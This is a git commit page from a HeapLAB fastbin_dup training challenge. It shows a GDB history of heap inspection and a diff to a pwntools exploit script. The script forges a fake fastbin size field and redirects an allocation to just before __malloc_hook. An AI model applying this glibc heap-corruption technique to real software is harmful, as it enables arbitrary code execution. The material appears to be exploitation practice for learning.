modified: HeapLAB/challenge-fastbin_dup/.gdb_history
modified: HeapLAB/challenge-fastbin_dup/bruh.py
This commit is contained in:
Brett Weiland
parent
ba02c1bd69
commit
4c06c05f4e
HeapLAB/challenge-fastbin_dup
@ -1,224 +1,3 @@
|
||||
x &main_arena
|
||||
x/100x &main_arena
|
||||
print main_arena
|
||||
fastbins
|
||||
q
|
||||
fastbins
|
||||
fastbins
|
||||
c
|
||||
exit
|
||||
quit
|
||||
quit
|
||||
fastbins
|
||||
print main_arena
|
||||
q
|
||||
print main_arena
|
||||
q
|
||||
vis_heap_chunks
|
||||
print main_arena
|
||||
db main_arena
|
||||
db &main_arena
|
||||
db &main_arena/100
|
||||
db &main_arena 100
|
||||
db &main_arena 1000
|
||||
x main_arena.top
|
||||
x &main_arena.top
|
||||
db &main_arena 100
|
||||
c
|
||||
fastbins
|
||||
print main_arena
|
||||
x main_arena.fasbinsY
|
||||
x &main_arena.fastbinsY
|
||||
quit
|
||||
fastbins
|
||||
x 0x7f0946700b70
|
||||
db 0x7f0946700b70 100
|
||||
q
|
||||
fastbins
|
||||
q
|
||||
fastbins
|
||||
q
|
||||
fastbinsx
|
||||
db &main_arena 100
|
||||
q
|
||||
db 0x7f2e5c845b60
|
||||
0x7f2e5c845b70 + 16
|
||||
x 0x7f2e5c845b70 + 16
|
||||
x 0x7f2e5c845b70
|
||||
x 0x7f2e5c845b70
|
||||
x 0x7f2e5c845b60
|
||||
vis_heap_chunks
|
||||
db 0x7f0ba6e3db70
|
||||
db 0x555bdeaca000 100
|
||||
db 0x7f0ba6e3db70
|
||||
db 0x7f0ba6e3db70 - 8
|
||||
db 0x7f0ba6e3db70-8
|
||||
db 0x7f0ba6e3db70-7
|
||||
q
|
||||
x 0x7fcf882cbb69
|
||||
db 0x7fcf882cbb69
|
||||
q
|
||||
vis_heap_chunks
|
||||
print main_arena
|
||||
q
|
||||
print main_arena
|
||||
vis_heap_chunks
|
||||
q
|
||||
print main_arena
|
||||
q
|
||||
print main_arena
|
||||
fastbins
|
||||
r
|
||||
q
|
||||
r
|
||||
c
|
||||
fastbisn
|
||||
vis_heap_chunks
|
||||
fastbins
|
||||
quit
|
||||
fastbins
|
||||
print main_arena
|
||||
c
|
||||
print main_arena
|
||||
q
|
||||
print main_arena
|
||||
print main_arena
|
||||
x malloc_free_hook
|
||||
x __free_hook
|
||||
x &__free_hook
|
||||
x &__free_hook 100
|
||||
db &__free_hook 100
|
||||
q
|
||||
q
|
||||
q
|
||||
q
|
||||
print main_arena
|
||||
db 0x7f4858584e10
|
||||
c
|
||||
print victim
|
||||
q
|
||||
fastbins
|
||||
c
|
||||
x idx
|
||||
x chunksize(p)
|
||||
x chunksize
|
||||
x p
|
||||
fastbins
|
||||
q
|
||||
x __free_hook
|
||||
x &__free_hook 100
|
||||
db &__free_hook 100
|
||||
db &__free_hook - 100
|
||||
db &__free_hook-100
|
||||
db &__free_hook-100 100
|
||||
print main_arena
|
||||
x 0x7fca0f75fe10
|
||||
x/100 0x7fca0f75fe10
|
||||
x/100 0x7fca0f75fe10-100
|
||||
c
|
||||
q
|
||||
break malloc
|
||||
c
|
||||
fastbins
|
||||
x __free_hook
|
||||
fastins
|
||||
fastbins
|
||||
print main_arena
|
||||
x 0x7f072b59ee10
|
||||
break malloc
|
||||
break free
|
||||
continue
|
||||
c
|
||||
c
|
||||
c
|
||||
print main_arena
|
||||
vis_heap_chunks
|
||||
vis_heap_chunks
|
||||
c
|
||||
vis_heap_chunks
|
||||
break free
|
||||
break malloc
|
||||
c
|
||||
print main_arena
|
||||
x &__free_hook - 16
|
||||
q
|
||||
print main_arena
|
||||
vis_heap_chunks
|
||||
c
|
||||
c
|
||||
c
|
||||
q
|
||||
db __malloc_hook
|
||||
db &__malloc_hook
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
c
|
||||
break sysmalloc
|
||||
c
|
||||
frame 2
|
||||
context
|
||||
c
|
||||
break main
|
||||
c
|
||||
q
|
||||
x &__malloc_hook
|
||||
print __malloc_hook
|
||||
print &__malloc_hook
|
||||
print __main_arena
|
||||
print main_arena
|
||||
print main_arena
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
db &__malloc_hook
|
||||
db &__malloc_hook-100 100
|
||||
db &__malloc_hook-100 100*8
|
||||
db &__malloc_hook-100 (100*8)+1
|
||||
fastbins
|
||||
c
|
||||
print main_arena
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
db &__malloc_hook-100 (100*8)+1
|
||||
c
|
||||
db &__malloc_hook-100 (100*8)+1
|
||||
print main_arena
|
||||
x 0x7f5b07a18b40
|
||||
break malloc
|
||||
c
|
||||
c
|
||||
c
|
||||
q
|
||||
break __libc_malloc
|
||||
break malloc
|
||||
break __malloc_hook
|
||||
b __malloc_hook
|
||||
b &__malloc_hook
|
||||
b *__malloc_hook
|
||||
b *&__malloc_hook
|
||||
c
|
||||
delete 3
|
||||
c
|
||||
pwndbg heap
|
||||
vis_heap_chunks
|
||||
print __mallinfo
|
||||
x __mallinfo
|
||||
print &__mallinfo
|
||||
print *__mallinfo
|
||||
print __mallinfo
|
||||
print &__mallinfo
|
||||
print main_arena
|
||||
c
|
||||
break malloc
|
||||
c
|
||||
x main_arena.top_check
|
||||
x main_arena.top_chunk
|
||||
print main_arena
|
||||
x 0x7f4854db6b40
|
||||
x 0x7f4854db6b40
|
||||
x 0x7f4854db6b40
|
||||
c
|
||||
x 0x7f4854db6b40
|
||||
fastbins
|
||||
c
|
||||
x 0x7f4854db6b40
|
||||
c
|
||||
@ -254,3 +33,224 @@ fastbins
|
||||
r
|
||||
c
|
||||
quit
|
||||
db main_arena
|
||||
db &main_arena.fastbinsY
|
||||
q
|
||||
r
|
||||
c
|
||||
c
|
||||
fastbins
|
||||
print &main_arena
|
||||
print main_arena
|
||||
c
|
||||
print main_arena
|
||||
db main_arena
|
||||
db &main_arena
|
||||
db &main_arena/100
|
||||
db &main_arena 100
|
||||
db &main_arena 1000
|
||||
q
|
||||
db main_arena.bins
|
||||
db &main_arena.fastbinsY
|
||||
run
|
||||
c
|
||||
c
|
||||
q
|
||||
r
|
||||
c
|
||||
fastbins
|
||||
c
|
||||
fastbins
|
||||
c
|
||||
fastbins
|
||||
r
|
||||
c
|
||||
c
|
||||
r
|
||||
1
|
||||
c
|
||||
c
|
||||
print main_arena
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
x 0x7ffff7dd0bc0
|
||||
x &main_arena
|
||||
q
|
||||
print &main_arena
|
||||
print main_arena
|
||||
db main_arena
|
||||
db &main_arena 100
|
||||
print main_arena
|
||||
print &main_arena
|
||||
db &main_arena
|
||||
db &main_arena + 1
|
||||
db &main_arena+1
|
||||
find_fake_fast main_arena.fastbinsY
|
||||
find_fake_fast &main_arena.fastbinsY
|
||||
x &main_arena.fastbinsY
|
||||
db main_arena
|
||||
db &main_arena
|
||||
db &main_arena+1
|
||||
db &main_arena+0
|
||||
dq &main_arena+0
|
||||
dq &main_arena+1
|
||||
x/x 00007fc130a1cb60
|
||||
x/x 0x00007fc130a1cb60
|
||||
x/x 0x7fc130a1cb69
|
||||
x main_arena
|
||||
x &main_arena
|
||||
x 0x0x7fc130a1cb68
|
||||
x 0x7fc130a1cb68
|
||||
x 0x7fc130a1cb68+1
|
||||
x/10x 0x7fc130a1cb68+1
|
||||
x/10x 0x7fc130a1cb68+0
|
||||
x/10x 0x7fc130a1cb68+1
|
||||
x/10x 0x7fc130a1cb69
|
||||
db 0x7fc130a1cb69
|
||||
db 0x7fc130a1cb71
|
||||
db 0x7fc130a1cb70
|
||||
x main_arena
|
||||
print &main_arena
|
||||
db &main_arena+1
|
||||
dq &main_arena+1
|
||||
q
|
||||
x 0x7f7151e3cb70
|
||||
db 0x7f7151e3cb70
|
||||
db main_arena
|
||||
db &main_arena
|
||||
print main_arena
|
||||
x main_arena
|
||||
print &main_arena
|
||||
db 0x7f7151e3cb69
|
||||
db 0x7f7151e3cb68
|
||||
db 0x7f7151e3cb67
|
||||
db 0x7f7151e3cb68
|
||||
db 0x7f7151e3cb69
|
||||
dq 0x7f7151e3cb69
|
||||
db 0x7f7151e3cb69
|
||||
db 0x7f7151e3cb67
|
||||
db 0x7f7151e3cb69
|
||||
db 0x7f7151e3cb68
|
||||
find_fake_fast main_arena
|
||||
find_fake_fast &main_arena
|
||||
db 0x7f7151e3cb68
|
||||
db 0x7f7151e3cb69
|
||||
db 0x7f7151e3cb67
|
||||
db 0x7f7151e3cb68
|
||||
db 0x7f7151e3cb70
|
||||
db 0x7fc130a1cb69
|
||||
db 0x7f7151e3cb70
|
||||
db 0x7f7151e3cb69
|
||||
find_fake_fast &__free_hook
|
||||
find_fake_fast &__realloc_hook
|
||||
find_fake_fast &__memalign_hook
|
||||
find_fake_fast &__malloc_initialize_hook
|
||||
find_fake_fast &__after_morecore_hook
|
||||
find_fake_fast q
|
||||
q
|
||||
quit
|
||||
q
|
||||
fastbins
|
||||
c
|
||||
frame 4
|
||||
context code
|
||||
x 0x7fd533e9cb68
|
||||
db 0x7fd533e9cb68
|
||||
x fastbins
|
||||
print main_heap
|
||||
print &main_heap
|
||||
print &main_arena
|
||||
print main_arena
|
||||
db 0x7fee89f0ee10
|
||||
db 0x7fee89f0ee10 10
|
||||
db 0x7fee89f0ee10 48
|
||||
db 0x7fee89f0ee10-3 48
|
||||
db 0x7fee89f0ee10-3 (16*4)
|
||||
db 0x7fee89f0ee10
|
||||
db 0x7fee89f0ee10 - 1
|
||||
db 0x7fee89f0ee10-1
|
||||
db 0x7fee89f0ee10-1 1
|
||||
db 0x7fee89f0ee10-1 32
|
||||
db 0x7fee89f0ee10-1 (48)
|
||||
db 0x7fee89f0ee10-1 (48 * 3)
|
||||
db 0x7fee89f0ee10-1 (48*3)
|
||||
db 0x7fee89f0ee10-1
|
||||
db 0x7fee89f0ee10
|
||||
q
|
||||
print main_arena
|
||||
x 0x7fdb92f8ee10
|
||||
c
|
||||
find_fake_fast &malloc_hook
|
||||
find_fake_fast &__malloc_hook
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
x &__malloc_hook
|
||||
x &__malloc_hook - 16
|
||||
x &__malloc_hook
|
||||
db &__malloc_hook-100
|
||||
db &__malloc_hook-100 100
|
||||
db &__malloc_hook-1
|
||||
db &__malloc_hook
|
||||
db &__malloc_hook-48 48
|
||||
db &__malloc_hook-48 48 * 8
|
||||
db &__malloc_hook-48 48*8
|
||||
db &__malloc_hook-48*8 48
|
||||
db &__malloc_hook-80*8 80
|
||||
db &__malloc_hook-160*8 80
|
||||
db &__malloc_hook-160 80
|
||||
db -h
|
||||
db &__malloc_hook
|
||||
x __malloc_hook
|
||||
x &__malloc_hook
|
||||
x __malloc_hook-100
|
||||
x &__malloc_hook-100
|
||||
x &__malloc_hook-100 100
|
||||
x &__malloc_hook-100 100
|
||||
db &__malloc_hook-100 100
|
||||
db &__malloc_hook-100 100*8
|
||||
print (void*)&malloc_hook
|
||||
print (void*)&__malloc_hook
|
||||
db &__malloc_hook-100 101*8
|
||||
db &__malloc_hook-100 101*8
|
||||
db &__malloc_hook-100 100*8
|
||||
db &__malloc_hook-100
|
||||
db &__malloc_hook-(16*9)
|
||||
db &__malloc_hook-(16*9) 16*9
|
||||
db &__malloc_hook-(10) (10*16)
|
||||
db &__malloc_hook-(10) (10*8)
|
||||
db &__malloc_hook-(1) (10*8)
|
||||
db &__malloc_hook-(11
|
||||
db &__malloc_hook
|
||||
db &__malloc_hook-1
|
||||
db &__malloc_hook-8
|
||||
db &__malloc_hook
|
||||
db &__malloc_hook-32
|
||||
db &__malloc_hook-(32/8)
|
||||
db &__malloc_hook-(32/8) 1
|
||||
db &__malloc_hook-(32/8) 10
|
||||
db 0x7f5575614b2a 1
|
||||
db 0x7f5575614b2a
|
||||
db 0x7f5575614b20
|
||||
db &__malloc_loc
|
||||
db &__malloc_hook-(16) (16*8)
|
||||
print (void*)__malloc_hook
|
||||
print (void*)&__malloc_hook
|
||||
db 0x7f5575614b36
|
||||
0x7f5575614b2a
|
||||
find_fake_fast
|
||||
find_fake_fast &__malloc_hook
|
||||
print (void*)&__malloc_hook
|
||||
exit
|
||||
quit
|
||||
print main_arena
|
||||
x 0x7f265fd4cb2d
|
||||
x 0x7f265fd4cb2d
|
||||
db 0x7f265fd4cb2d
|
||||
print (void*)&__malloc_hook
|
||||
find_fake_fast &__malloc_hook
|
||||
db 0x7f265fd4cb2d
|
||||
db 0x7f265fd4cb2d - 1
|
||||
db 0x7f265fd4cb2d-1
|
||||
db
|
||||
c
|
||||
db &__malloc_hook-(16) (16*8)
|
||||
|
||||
@ -55,7 +55,7 @@ free(chunk1)
|
||||
|
||||
#malloc(24, p64(libc.sym.main_arena + 96))
|
||||
#this sets up a fake size field in the fastbins
|
||||
malloc(24, p64(0x81))
|
||||
malloc(24, p64(0x80))
|
||||
malloc(24, 'asdf')
|
||||
malloc(24, 'asdf')
|
||||
|
||||
@ -74,9 +74,10 @@ malloc(119, 'sdfg')
|
||||
|
||||
#8 * 9
|
||||
|
||||
malloc(119, p64(0)*9 + p64(libc.sym.__free_hook - 16))
|
||||
payload_loc = libc.sym.__malloc_hook - 35
|
||||
malloc(119, p64(0)*9 + p64(payload_loc))
|
||||
|
||||
print(hex(fake_chunk_loc))
|
||||
print("top chunk addr: {}".format(hex(payload_loc)))
|
||||
|
||||
# =============================================================================
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user